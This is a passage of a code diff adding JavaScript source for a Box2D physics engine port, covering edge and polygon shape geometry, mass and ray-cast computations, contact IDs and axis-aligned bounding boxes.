+Box2D.Collision.Shapes.b2EdgeShape.prototype.GetNormalVector = function() {
+ return this.m_normal;
+};
+/**
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Collision.Shapes.b2EdgeShape.prototype.GetDirectionVector = function() {
+ return this.m_direction;
+};
+/**
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Collision.Shapes.b2EdgeShape.prototype.GetCorner1Vector = function() {
+ return this.m_cornerDir1;
+};
+/**
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Collision.Shapes.b2EdgeShape.prototype.GetCorner2Vector = function() {
+ return this.m_cornerDir2;
+};
+/**
+ * @return {boolean}
+ */
+Box2D.Collision.Shapes.b2EdgeShape.prototype.Corner1IsConvex = function() {
+ return this.m_cornerConvex1;
+};
+/**
+ * @return {boolean}
+ */
+Box2D.Collision.Shapes.b2EdgeShape.prototype.Corner2IsConvex = function() {
+ return this.m_cornerConvex2;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Transform} xf
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Collision.Shapes.b2EdgeShape.prototype.GetFirstVertex = function(xf) {
+ var tMat = xf.R;
+ return Box2D.Common.Math.b2Vec2.Get(xf.position.x + (tMat.col1.x * this.m_coreV1.x + tMat.col2.x * this.m_coreV1.y), xf.position.y + (tMat.col1.y * this.m_coreV1.x + tMat.col2.y * this.m_coreV1.y));
+};
+/**
+ * @return {Box2D.Collision.Shapes.b2EdgeShape}
+ */
+Box2D.Collision.Shapes.b2EdgeShape.prototype.GetNextEdge = function() {
+ return this.m_nextEdge;
+};
+/**
+ * @return {Box2D.Collision.Shapes.b2EdgeShape}
+ */
+Box2D.Collision.Shapes.b2EdgeShape.prototype.GetPrevEdge = function() {
+ return this.m_prevEdge;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Transform} xf
+ * @param {number} dX
+ * @param {number} dY
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Collision.Shapes.b2EdgeShape.prototype.Support = function(xf, dX, dY) {
+ var tMat = xf.R;
+ var v1X = xf.position.x + (tMat.col1.x * this.m_coreV1.x + tMat.col2.x * this.m_coreV1.y);
+ var v1Y = xf.position.y + (tMat.col1.y * this.m_coreV1.x + tMat.col2.y * this.m_coreV1.y);
+ var v2X = xf.position.x + (tMat.col1.x * this.m_coreV2.x + tMat.col2.x * this.m_coreV2.y);
+ var v2Y = xf.position.y + (tMat.col1.y * this.m_coreV2.x + tMat.col2.y * this.m_coreV2.y);
+ if ((v1X * dX + v1Y * dY) > (v2X * dX + v2Y * dY)) {
+ return Box2D.Common.Math.b2Vec2.Get(v1X, v1Y);
+ } else {
+ return Box2D.Common.Math.b2Vec2.Get(v2X, v2Y);
+ }
+};
+/**
+ * @param {Box2D.Collision.Shapes.b2EdgeShape} edge
+ * @param {!Box2D.Common.Math.b2Vec2} core
+ * @param {!Box2D.Common.Math.b2Vec2} cornerDir
+ * @param {boolean} convex
+ */
+Box2D.Collision.Shapes.b2EdgeShape.prototype.SetPrevEdge = function(edge, core, cornerDir, convex) {
+ this.m_prevEdge = edge;
+ this.m_coreV1 = core;
+ this.m_cornerDir1 = cornerDir;
+ this.m_cornerConvex1 = convex;
+};
+/**
+ * @param {Box2D.Collision.Shapes.b2EdgeShape} edge
+ * @param {!Box2D.Common.Math.b2Vec2} core
+ * @param {!Box2D.Common.Math.b2Vec2} cornerDir
+ * @param {boolean} convex
+ */
+Box2D.Collision.Shapes.b2EdgeShape.prototype.SetNextEdge = function(edge, core, cornerDir, convex) {
+ this.m_nextEdge = edge;
+ this.m_coreV2 = core;
+ this.m_cornerDir2 = cornerDir;
+ this.m_cornerConvex2 = convex;
+};
+/**
+ * @const
+ * @type {string}
+ */
+Box2D.Collision.Shapes.b2EdgeShape.NAME = 'b2EdgeShape';
+/**
+ * @constructor
+ */
+Box2D.Collision.Shapes.b2MassData = function() {
+ /** @type {number} */
+ this.mass = 0;
+ /** @type {!Box2D.Common.Math.b2Vec2} */
+ this.center = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ /** @type {number} */
+ this.I = 0;
+};
+/**
+ * @constructor
+ * @extends {Box2D.Collision.Shapes.b2Shape}
+ */
+Box2D.Collision.Shapes.b2PolygonShape = function() {
+ Box2D.Collision.Shapes.b2Shape.call(this);
+ /** @type {!Box2D.Common.Math.b2Vec2} */
+ this.m_centroid = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ /** @type {Array.} */
+ this.m_vertices = [];
+ /** @type {Array.} */
+ this.m_normals = [];
+};
+c2inherit(Box2D.Collision.Shapes.b2PolygonShape, Box2D.Collision.Shapes.b2Shape);
+/**
+ * @return {string}
+ */
+Box2D.Collision.Shapes.b2PolygonShape.prototype.GetTypeName = function() {
+ return Box2D.Collision.Shapes.b2PolygonShape.NAME;
+};
+/**
+ * @return {!Box2D.Collision.Shapes.b2PolygonShape}
+ */
+Box2D.Collision.Shapes.b2PolygonShape.prototype.Copy = function() {
+ var s = new Box2D.Collision.Shapes.b2PolygonShape();
+ s.Set(this);
+ return s;
+};
+/**
+ * @param {!Box2D.Collision.Shapes.b2Shape} other
+ */
+Box2D.Collision.Shapes.b2PolygonShape.prototype.Set = function(other) {
+ Box2D.Collision.Shapes.b2Shape.prototype.Set.call(this, other);
+ if (other instanceof Box2D.Collision.Shapes.b2PolygonShape) {
+ this.m_centroid.SetV(other.m_centroid);
+ this.m_vertexCount = other.m_vertexCount;
+ this.Reserve(this.m_vertexCount);
+ for (var i = 0; i < this.m_vertexCount; i++) {
+ this.m_vertices[i].SetV(other.m_vertices[i]);
+ this.m_normals[i].SetV(other.m_normals[i]);
+ }
+ }
+};
+/**
+ * @param {Array.} vertices
+ */
+Box2D.Collision.Shapes.b2PolygonShape.prototype.SetAsArray = function(vertices) {
+ this.SetAsVector(vertices);
+};
+/**
+ * @param {Array.} vertices
+ * @return {!Box2D.Collision.Shapes.b2PolygonShape}
+ */
+Box2D.Collision.Shapes.b2PolygonShape.AsArray = function(vertices) {
+ var polygonShape = new Box2D.Collision.Shapes.b2PolygonShape();
+ polygonShape.SetAsArray(vertices);
+ return polygonShape;
+};
+/**
+ * @param {Array.} vertices
+ */
+Box2D.Collision.Shapes.b2PolygonShape.prototype.SetAsVector = function(vertices) {
+ var vertexCount = vertices.length;
+;
+ this.m_vertexCount = vertexCount;
+ this.Reserve(vertexCount);
+ var i = 0;
+ for (i = 0; i < this.m_vertexCount; i++) {
+ this.m_vertices[i].SetV(vertices[i]);
+ }
+ for (i = 0; i < this.m_vertexCount; ++i) {
+ var i1 = i;
+ var i2 = i + 1 < this.m_vertexCount ? i + 1 : 0;
+ var edge = Box2D.Common.Math.b2Math.SubtractVV(this.m_vertices[i2], this.m_vertices[i1]);
+;
+ this.m_normals[i].SetV(Box2D.Common.Math.b2Math.CrossVF(edge, 1.0));
+ this.m_normals[i].Normalize();
+ }
+ this.m_centroid = Box2D.Collision.Shapes.b2PolygonShape.ComputeCentroid(this.m_vertices, this.m_vertexCount);
+};
+/**
+ * @param {Array.} vertices
+ * @return {!Box2D.Collision.Shapes.b2PolygonShape}
+ */
+Box2D.Collision.Shapes.b2PolygonShape.AsVector = function(vertices) {
+ var polygonShape = new Box2D.Collision.Shapes.b2PolygonShape();
+ polygonShape.SetAsVector(vertices);
+ return polygonShape;
+};
+/**
+ * @param {number} hx
+ * @param {number} hy
+ */
+Box2D.Collision.Shapes.b2PolygonShape.prototype.SetAsBox = function(hx, hy) {
+ this.m_vertexCount = 4;
+ this.Reserve(4);
+ this.m_vertices[0].Set((-hx), (-hy));
+ this.m_vertices[1].Set(hx, (-hy));
+ this.m_vertices[2].Set(hx, hy);
+ this.m_vertices[3].Set((-hx), hy);
+ this.m_normals[0].Set(0.0, (-1.0));
+ this.m_normals[1].Set(1.0, 0.0);
+ this.m_normals[2].Set(0.0, 1.0);
+ this.m_normals[3].Set((-1.0), 0.0);
+ this.m_centroid.SetZero();
+};
+/**
+ * @param {number} hx
+ * @param {number} hy
+ * @return {!Box2D.Collision.Shapes.b2PolygonShape}
+ */
+Box2D.Collision.Shapes.b2PolygonShape.AsBox = function(hx, hy) {
+ var polygonShape = new Box2D.Collision.Shapes.b2PolygonShape();
+ polygonShape.SetAsBox(hx, hy);
+ return polygonShape;
+};
+/**
+ * @param {number} hx
+ * @param {number} hy
+ * @param {!Box2D.Common.Math.b2Vec2} center
+ * @param {number} angle
+ */
+Box2D.Collision.Shapes.b2PolygonShape.prototype.SetAsOrientedBox = function(hx, hy, center, angle) {
+ this.m_vertexCount = 4;
+ this.Reserve(4);
+ this.m_vertices[0].Set((-hx), (-hy));
+ this.m_vertices[1].Set(hx, (-hy));
+ this.m_vertices[2].Set(hx, hy);
+ this.m_vertices[3].Set((-hx), hy);
+ this.m_normals[0].Set(0.0, (-1.0));
+ this.m_normals[1].Set(1.0, 0.0);
+ this.m_normals[2].Set(0.0, 1.0);
+ this.m_normals[3].Set((-1.0), 0.0);
+ this.m_centroid = center;
+ var mat = new Box2D.Common.Math.b2Mat22();
+ mat.Set(angle);
+ var xf = new Box2D.Common.Math.b2Transform(center, mat);
+ for (var i = 0; i < this.m_vertexCount; ++i) {
+ this.m_vertices[i] = Box2D.Common.Math.b2Math.MulX(xf, this.m_vertices[i]);
+ this.m_normals[i] = Box2D.Common.Math.b2Math.MulMV(xf.R, this.m_normals[i]);
+ }
+};
+/**
+ * @param {number} hx
+ * @param {number} hy
+ * @param {!Box2D.Common.Math.b2Vec2} center
+ * @param {number} angle
+ * @return {!Box2D.Collision.Shapes.b2PolygonShape}
+ */
+Box2D.Collision.Shapes.b2PolygonShape.AsOrientedBox = function(hx, hy, center, angle) {
+ var polygonShape = new Box2D.Collision.Shapes.b2PolygonShape();
+ polygonShape.SetAsOrientedBox(hx, hy, center, angle);
+ return polygonShape;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} v1
+ * @param {!Box2D.Common.Math.b2Vec2} v2
+ */
+Box2D.Collision.Shapes.b2PolygonShape.prototype.SetAsEdge = function(v1, v2) {
+ this.m_vertexCount = 2;
+ this.Reserve(2);
+ this.m_vertices[0].SetV(v1);
+ this.m_vertices[1].SetV(v2);
+ this.m_centroid.x = 0.5 * (v1.x + v2.x);
+ this.m_centroid.y = 0.5 * (v1.y + v2.y);
+ this.m_normals[0] = Box2D.Common.Math.b2Math.CrossVF(Box2D.Common.Math.b2Math.SubtractVV(v2, v1), 1.0);
+ this.m_normals[0].Normalize();
+ this.m_normals[1].x = (-this.m_normals[0].x);
+ this.m_normals[1].y = (-this.m_normals[0].y);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} v1
+ * @param {!Box2D.Common.Math.b2Vec2} v2
+ * @return {!Box2D.Collision.Shapes.b2PolygonShape}
+ */
+Box2D.Collision.Shapes.b2PolygonShape.AsEdge = function(v1, v2) {
+ var polygonShape = new Box2D.Collision.Shapes.b2PolygonShape();
+ polygonShape.SetAsEdge(v1, v2);
+ return polygonShape;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Transform} xf
+ * @param {!Box2D.Common.Math.b2Vec2} p
+ * @return {boolean}
+ */
+Box2D.Collision.Shapes.b2PolygonShape.prototype.TestPoint = function(xf, p) {
+ var tVec;
+ var tMat = xf.R;
+ var tX = p.x - xf.position.x;
+ var tY = p.y - xf.position.y;
+ var pLocalX = (tX * tMat.col1.x + tY * tMat.col1.y);
+ var pLocalY = (tX * tMat.col2.x + tY * tMat.col2.y);
+ for (var i = 0; i < this.m_vertexCount; ++i) {
+ tVec = this.m_vertices[i];
+ tX = pLocalX - tVec.x;
+ tY = pLocalY - tVec.y;
+ tVec = this.m_normals[i];
+ var dot = (tVec.x * tX + tVec.y * tY);
+ if (dot > 0.0) {
+ return false;
+ }
+ }
+ return true;
+};
+/**
+ * @param {!Box2D.Collision.b2RayCastOutput} output
+ * @param {!Box2D.Collision.b2RayCastInput} input
+ * @param {!Box2D.Common.Math.b2Transform} transform
+ * @return {boolean}
+ */
+Box2D.Collision.Shapes.b2PolygonShape.prototype.RayCast = function(output, input, transform) {
+ var lower = 0.0;
+ var upper = input.maxFraction;
+ var tX = 0;
+ var tY = 0;
+ var tMat;
+ var tVec;
+ tX = input.p1.x - transform.position.x;
+ tY = input.p1.y - transform.position.y;
+ tMat = transform.R;
+ var p1X = (tX * tMat.col1.x + tY * tMat.col1.y);
+ var p1Y = (tX * tMat.col2.x + tY * tMat.col2.y);
+ tX = input.p2.x - transform.position.x;
+ tY = input.p2.y - transform.position.y;
+ tMat = transform.R;
+ var p2X = (tX * tMat.col1.x + tY * tMat.col1.y);
+ var p2Y = (tX * tMat.col2.x + tY * tMat.col2.y);
+ var dX = p2X - p1X;
+ var dY = p2Y - p1Y;
+ var index = -1;
+ for (var i = 0; i < this.m_vertexCount; ++i) {
+ tVec = this.m_vertices[i];
+ tX = tVec.x - p1X;
+ tY = tVec.y - p1Y;
+ tVec = this.m_normals[i];
+ var numerator = (tVec.x * tX + tVec.y * tY);
+ var denominator = (tVec.x * dX + tVec.y * dY);
+ if (denominator == 0.0) {
+ if (numerator < 0.0) {
+ return false;
+ }
+ } else {
+ if (denominator < 0.0 && numerator < lower * denominator) {
+ lower = numerator / denominator;
+ index = i;
+ } else if (denominator > 0.0 && numerator < upper * denominator) {
+ upper = numerator / denominator;
+ }
+ }
+ if (upper < lower - Number.MIN_VALUE) {
+ return false;
+ }
+ }
+ if (index >= 0) {
+ output.fraction = lower;
+ tMat = transform.R;
+ tVec = this.m_normals[index];
+ output.normal.x = (tMat.col1.x * tVec.x + tMat.col2.x * tVec.y);
+ output.normal.y = (tMat.col1.y * tVec.x + tMat.col2.y * tVec.y);
+ return true;
+ }
+ return false;
+};
+/**
+ * @param {!Box2D.Collision.b2AABB} aabb
+ * @param {!Box2D.Common.Math.b2Transform} xf
+ */
+Box2D.Collision.Shapes.b2PolygonShape.prototype.ComputeAABB = function(aabb, xf) {
+ var tMat = xf.R;
+ var tVec = this.m_vertices[0];
+ var lowerX = xf.position.x + (tMat.col1.x * tVec.x + tMat.col2.x * tVec.y);
+ var lowerY = xf.position.y + (tMat.col1.y * tVec.x + tMat.col2.y * tVec.y);
+ var upperX = lowerX;
+ var upperY = lowerY;
+ for (var i = 1; i < this.m_vertexCount; ++i) {
+ tVec = this.m_vertices[i];
+ var vX = xf.position.x + (tMat.col1.x * tVec.x + tMat.col2.x * tVec.y);
+ var vY = xf.position.y + (tMat.col1.y * tVec.x + tMat.col2.y * tVec.y);
+ lowerX = lowerX < vX ? lowerX : vX;
+ lowerY = lowerY < vY ? lowerY : vY;
+ upperX = upperX > vX ? upperX : vX;
+ upperY = upperY > vY ? upperY : vY;
+ }
+ aabb.lowerBound_.x = lowerX - this.m_radius;
+ aabb.lowerBound_.y = lowerY - this.m_radius;
+ aabb.upperBound_.x = upperX + this.m_radius;
+ aabb.upperBound_.y = upperY + this.m_radius;
+};
+/**
+ * @param {!Box2D.Collision.Shapes.b2MassData} massData
+ * @param {number} density
+ */
+Box2D.Collision.Shapes.b2PolygonShape.prototype.ComputeMass = function(massData, density) {
+ if (this.m_vertexCount == 2) {
+ massData.center.x = 0.5 * (this.m_vertices[0].x + this.m_vertices[1].x);
+ massData.center.y = 0.5 * (this.m_vertices[0].y + this.m_vertices[1].y);
+ massData.mass = 0.0;
+ massData.I = 0.0;
+ return;
+ }
+ var centerX = 0.0;
+ var centerY = 0.0;
+ var area = 0.0;
+ var I = 0.0;
+ var p1X = 0.0;
+ var p1Y = 0.0;
+ var k_inv3 = 1.0 / 3.0;
+ for (var i = 0; i < this.m_vertexCount; ++i) {
+ var p2 = this.m_vertices[i];
+ var p3 = i + 1 < this.m_vertexCount ? this.m_vertices[i + 1] : this.m_vertices[0];
+ var e1X = p2.x - p1X;
+ var e1Y = p2.y - p1Y;
+ var e2X = p3.x - p1X;
+ var e2Y = p3.y - p1Y;
+ var D = e1X * e2Y - e1Y * e2X;
+ var triangleArea = 0.5 * D;
+ area += triangleArea;
+ centerX += triangleArea * k_inv3 * (p1X + p2.x + p3.x);
+ centerY += triangleArea * k_inv3 * (p1Y + p2.y + p3.y);
+ var px = p1X;
+ var py = p1Y;
+ var ex1 = e1X;
+ var ey1 = e1Y;
+ var ex2 = e2X;
+ var ey2 = e2Y;
+ var intx2 = k_inv3 * (0.25 * (ex1 * ex1 + ex2 * ex1 + ex2 * ex2) + (px * ex1 + px * ex2)) + 0.5 * px * px;
+ var inty2 = k_inv3 * (0.25 * (ey1 * ey1 + ey2 * ey1 + ey2 * ey2) + (py * ey1 + py * ey2)) + 0.5 * py * py;
+ I += D * (intx2 + inty2);
+ }
+ massData.mass = density * area;
+ centerX *= 1.0 / area;
+ centerY *= 1.0 / area;
+ massData.center.Set(centerX, centerY);
+ massData.I = density * I;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} normal
+ * @param {number} offset
+ * @param {!Box2D.Common.Math.b2Transform} xf
+ * @param {!Box2D.Common.Math.b2Vec2} c
+ * @return {number}
+ */
+Box2D.Collision.Shapes.b2PolygonShape.prototype.ComputeSubmergedArea = function(normal, offset, xf, c) {
+ var normalL = Box2D.Common.Math.b2Math.MulTMV(xf.R, normal);
+ var offsetL = offset - Box2D.Common.Math.b2Math.Dot(normal, xf.position);
+ var depths = [];
+ var diveCount = 0;
+ var intoIndex = -1;
+ var outoIndex = -1;
+ var lastSubmerged = false;
+ var i = 0;
+ for (i = 0; i < this.m_vertexCount; ++i) {
+ depths[i] = Box2D.Common.Math.b2Math.Dot(normalL, this.m_vertices[i]) - offsetL;
+ var isSubmerged = depths[i] < (-Number.MIN_VALUE);
+ if (i > 0) {
+ if (isSubmerged) {
+ if (!lastSubmerged) {
+ intoIndex = i - 1;
+ diveCount++;
+ }
+ } else {
+ if (lastSubmerged) {
+ outoIndex = i - 1;
+ diveCount++;
+ }
+ }
+ }
+ lastSubmerged = isSubmerged;
+ }
+ switch (diveCount) {
+ case 0:
+ if (lastSubmerged) {
+ var md = new Box2D.Collision.Shapes.b2MassData();
+ this.ComputeMass(md, 1);
+ c.SetV(Box2D.Common.Math.b2Math.MulX(xf, md.center));
+ return md.mass;
+ } else {
+ return 0;
+ }
+ break;
+ case 1:
+ if (intoIndex == (-1)) {
+ intoIndex = this.m_vertexCount - 1;
+ } else {
+ outoIndex = this.m_vertexCount - 1;
+ }
+ break;
+ }
+ var intoIndex2 = ((intoIndex + 1) % this.m_vertexCount);
+ var outoIndex2 = ((outoIndex + 1) % this.m_vertexCount);
+ var intoLamdda = (0 - depths[intoIndex]) / (depths[intoIndex2] - depths[intoIndex]);
+ var outoLamdda = (0 - depths[outoIndex]) / (depths[outoIndex2] - depths[outoIndex]);
+ var intoVec = Box2D.Common.Math.b2Vec2.Get(this.m_vertices[intoIndex].x * (1 - intoLamdda) + this.m_vertices[intoIndex2].x * intoLamdda, this.m_vertices[intoIndex].y * (1 - intoLamdda) + this.m_vertices[intoIndex2].y * intoLamdda);
+ var outoVec = Box2D.Common.Math.b2Vec2.Get(this.m_vertices[outoIndex].x * (1 - outoLamdda) + this.m_vertices[outoIndex2].x * outoLamdda, this.m_vertices[outoIndex].y * (1 - outoLamdda) + this.m_vertices[outoIndex2].y * outoLamdda);
+ var area = 0;
+ var center = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ var p2 = this.m_vertices[intoIndex2];
+ var p3;
+ i = intoIndex2;
+ while (i != outoIndex2) {
+ i = (i + 1) % this.m_vertexCount;
+ if (i == outoIndex2) p3 = outoVec;
+ else p3 = this.m_vertices[i];
+ var triangleArea = 0.5 * ((p2.x - intoVec.x) * (p3.y - intoVec.y) - (p2.y - intoVec.y) * (p3.x - intoVec.x));
+ area += triangleArea;
+ center.x += triangleArea * (intoVec.x + p2.x + p3.x) / 3;
+ center.y += triangleArea * (intoVec.y + p2.y + p3.y) / 3;
+ p2 = p3;
+ }
+ center.Multiply(1 / area);
+ c.SetV(Box2D.Common.Math.b2Math.MulX(xf, center));
+ return area;
+};
+/**
+ * @param {!Box2D.Collision.b2DistanceProxy} proxy
+ */
+Box2D.Collision.Shapes.b2PolygonShape.prototype.SetDistanceProxy = function(proxy) {
+ proxy.m_vertices = this.m_vertices;
+ proxy.m_count = this.m_vertexCount;
+ proxy.m_radius = this.m_radius;
+};
+/**
+ * @return {number}
+ */
+Box2D.Collision.Shapes.b2PolygonShape.prototype.GetVertexCount = function() {
+ return this.m_vertexCount;
+};
+/**
+ * @return {Array.}
+ */
+Box2D.Collision.Shapes.b2PolygonShape.prototype.GetVertices = function() {
+ return this.m_vertices;
+};
+/**
+ * @return {Array.}
+ */
+Box2D.Collision.Shapes.b2PolygonShape.prototype.GetNormals = function() {
+ return this.m_normals;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} d
+ * return {number}
+ */
+Box2D.Collision.Shapes.b2PolygonShape.prototype.GetSupport = function(d) {
+ var bestIndex = 0;
+ var bestValue = this.m_vertices[0].x * d.x + this.m_vertices[0].y * d.y;
+ for (var i = 1; i < this.m_vertexCount; ++i) {
+ var value = this.m_vertices[i].x * d.x + this.m_vertices[i].y * d.y;
+ if (value > bestValue) {
+ bestIndex = i;
+ bestValue = value;
+ }
+ }
+ return bestIndex;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} d
+ * return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Collision.Shapes.b2PolygonShape.prototype.GetSupportVertex = function(d) {
+ var bestIndex = 0;
+ var bestValue = this.m_vertices[0].x * d.x + this.m_vertices[0].y * d.y;
+ for (var i = 1; i < this.m_vertexCount; ++i) {
+ var value = this.m_vertices[i].x * d.x + this.m_vertices[i].y * d.y;
+ if (value > bestValue) {
+ bestIndex = i;
+ bestValue = value;
+ }
+ }
+ return this.m_vertices[bestIndex];
+};
+/**
+ * @param {number} count
+ */
+Box2D.Collision.Shapes.b2PolygonShape.prototype.Reserve = function(count) {
+ this.m_vertices = [];
+ this.m_normals = [];
+ for (var i = this.m_vertices.length; i < count; i++) {
+ this.m_vertices[i] = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_normals[i] = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ }
+};
+/**
+ * @param {Array.} vs
+ * @param {number} count
+ * return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Collision.Shapes.b2PolygonShape.ComputeCentroid = function(vs, count) {
+ var c = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ var area = 0.0;
+ var p1X = 0.0;
+ var p1Y = 0.0;
+ var inv3 = 1.0 / 3.0;
+ for (var i = 0; i < count; ++i) {
+ var p2 = vs[i];
+ var p3 = i + 1 < count ? vs[i + 1] : vs[0];
+ var e1X = p2.x - p1X;
+ var e1Y = p2.y - p1Y;
+ var e2X = p3.x - p1X;
+ var e2Y = p3.y - p1Y;
+ var D = (e1X * e2Y - e1Y * e2X);
+ var triangleArea = 0.5 * D;
+ area += triangleArea;
+ c.x += triangleArea * inv3 * (p1X + p2.x + p3.x);
+ c.y += triangleArea * inv3 * (p1Y + p2.y + p3.y);
+ }
+ c.x *= 1.0 / area;
+ c.y *= 1.0 / area;
+ return c;
+};
+/** @type {!Box2D.Common.Math.b2Mat22} */
+Box2D.Collision.Shapes.b2PolygonShape.s_mat = new Box2D.Common.Math.b2Mat22();
+/**
+ * @const
+ * @type {string}
+ */
+Box2D.Collision.Shapes.b2PolygonShape.NAME = 'b2PolygonShape';
+/**
+ * @constructor
+ */
+Box2D.Collision.b2ContactID = function() {
+ /** @type {number} */
+ this._key = 0;
+ /** @type {number} */
+ this._referenceEdge = 0;
+ /** @type {number} */
+ this._incidentEdge = 0;
+ /** @type {number} */
+ this._incidentVertex = 0;
+};
+/**
+ * @return {number}
+ */
+Box2D.Collision.b2ContactID.prototype.GetKey = function () {
+ return this._key;
+};
+/**
+ * @param {number} key
+ */
+Box2D.Collision.b2ContactID.prototype.SetKey = function (key) {
+ this._key = key;
+ this._referenceEdge = this._key & 0x000000ff;
+ this._incidentEdge = ((this._key & 0x0000ff00) >> 8) & 0x000000ff;
+ this._incidentVertex = ((this._key & 0x00ff0000) >> 16) & 0x000000ff;
+ this._flip = ((this._key & 0xff000000) >> 24) & 0x000000ff;
+};
+/**
+ * @param {!Box2D.Collision.b2ContactID} id
+ */
+Box2D.Collision.b2ContactID.prototype.Set = function (id) {
+ this.SetKey(id._key);
+};
+/**
+ * @param {number} edge
+ */
+Box2D.Collision.b2ContactID.prototype.SetReferenceEdge = function(edge) {
+ this._referenceEdge = edge;
+ this._key = (this._key & 0xffffff00) | (this._referenceEdge & 0x000000ff);
+};
+/**
+ * @param {number} edge
+ */
+Box2D.Collision.b2ContactID.prototype.SetIncidentEdge = function(edge) {
+ this._incidentEdge = edge;
+ this._key = (this._key & 0xffff00ff) | ((this._incidentEdge << 8) & 0x0000ff00);
+};
+/**
+ * @param {number} vertex
+ */
+Box2D.Collision.b2ContactID.prototype.SetIncidentVertex = function(vertex) {
+ this._incidentVertex = vertex;
+ this._key = (this._key & 0xff00ffff) | ((this._incidentVertex << 16) & 0x00ff0000);
+};
+/**
+ * @param {number} flip
+ */
+Box2D.Collision.b2ContactID.prototype.SetFlip = function(flip) {
+ this._flip = flip;
+ this._key = (this._key & 0x00ffffff) | ((this._flip << 24) & 0xff000000);
+};
+Box2D.Collision.b2ContactID.prototype.Copy = function () {
+ var id = new Box2D.Collision.b2ContactID();
+ id.Set(this);
+ return id;
+};
+/**
+ * @constructor
+ */
+Box2D.Collision.ClipVertex = function() {
+ this.v = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.id = new Box2D.Collision.b2ContactID();
+};
+Box2D.Collision.ClipVertex.prototype.Set = function(other) {
+ this.v.SetV(other.v);
+ this.id.Set(other.id);
+};
+/**
+ * @const
+ * @type {string}
+ */
+Box2D.Collision.IBroadPhase = 'Box2D.Collision.IBroadPhase';
+/**
+ * @private
+ * @constructor
+ */
+Box2D.Collision.b2AABB = function() {
+ this.lowerBound_ = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.upperBound_ = Box2D.Common.Math.b2Vec2.Get(0, 0);
+};
+/**
+ * @private
+ * @type {Array.}
+ */
+Box2D.Collision.b2AABB._freeCache = [];
+/**
+ * @return {!Box2D.Collision.b2AABB}
+ */
+Box2D.Collision.b2AABB.Get = function() {
+ if (Box2D.Collision.b2AABB._freeCache.length > 0) {
+ var aabb = Box2D.Collision.b2AABB._freeCache.pop();
+ aabb.SetZero();
+ return aabb;
+ }
+ return new Box2D.Collision.b2AABB();
+};
+/**
+ * @param {!Box2D.Collision.b2AABB} aabb
+ */
+Box2D.Collision.b2AABB.Free = function(aabb) {
+ Box2D.Collision.b2AABB._freeCache.push(aabb);
+};
+Box2D.Collision.b2AABB.prototype.SetZero = function() {
+ this.lowerBound_.Set(0, 0);
+ this.upperBound_.Set(0, 0);
+};
+/**
+ * @return {boolean}
+ */
+Box2D.Collision.b2AABB.prototype.IsValid = function() {
+ var dX = this.upperBound_.x - this.lowerBound_.x;
+ if (dX < 0) {
+ return false;
+ }
+ var dY = this.upperBound_.y - this.lowerBound_.y;
+ if (dY < 0) {
+ return false;
+ }
+ return this.lowerBound_.IsValid() && this.upperBound_.IsValid();
+};
+/**
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Collision.b2AABB.prototype.GetCenter = function() {
+ return Box2D.Common.Math.b2Vec2.Get((this.lowerBound_.x + this.upperBound_.x) / 2, (this.lowerBound_.y + this.upperBound_.y) / 2);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} newCenter
+ */
+Box2D.Collision.b2AABB.prototype.SetCenter = function(newCenter) {
+ var oldCenter = this.GetCenter();
+ this.lowerBound_.Subtract(oldCenter);
+ this.upperBound_.Subtract(oldCenter);
+ this.lowerBound_.Add(newCenter);
+ this.upperBound_.Add(newCenter);
+ Box2D.Common.Math.b2Vec2.Free(oldCenter);
+};
+/**
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Collision.b2AABB.prototype.GetExtents = function() {
+ return Box2D.Common.Math.b2Vec2.Get((this.upperBound_.x - this.lowerBound_.x) / 2, (this.upperBound_.y - this.lowerBound_.y) / 2);
+};
+/**
+ * @param {!Box2D.Collision.b2AABB} aabb
+ * @return {boolean}
+ */
+Box2D.Collision.b2AABB.prototype.Contains = function(aabb) {
+ var result = true;
+ result = result && this.lowerBound_.x <= aabb.lowerBound_.x;
+ result = result && this.lowerBound_.y <= aabb.lowerBound_.y;
+ result = result && aabb.upperBound_.x <= this.upperBound_.x;
+ result = result && aabb.upperBound_.y <= this.upperBound_.y;
+ return result;
+};
+/**
+ * @param {!Box2D.Collision.b2RayCastOutput} output
+ * @param {!Box2D.Collision.b2RayCastInput} input
+ * @return {boolean}
+ */
+Box2D.Collision.b2AABB.prototype.RayCast = function(output, input) {
+ var tmin = (-Number.MAX_VALUE);
+ var tmax = Number.MAX_VALUE;
+ var dX = input.p2.x - input.p1.x;
+ var absDX = Math.abs(dX);
+ if (absDX < Number.MIN_VALUE) {
+ if (input.p1.x < this.lowerBound_.x || this.upperBound_.x < input.p1.x) {
+ return false;
+ }
+ } else {
+ var inv_d = 1.0 / dX;
+ var t1 = (this.lowerBound_.x - input.p1.x) * inv_d;
+ var t2 = (this.upperBound_.x - input.p1.x) * inv_d;
+ var s = (-1.0);
+ if (t1 > t2) {
+ var t3 = t1;
+ t1 = t2;
+ t2 = t3;
+ s = 1.0;
+ }
+ if (t1 > tmin) {
+ output.normal.x = s;
+ output.normal.y = 0;
+ tmin = t1;
+ }
+ tmax = Math.min(tmax, t2);
+ if (tmin > tmax) return false;
+ }
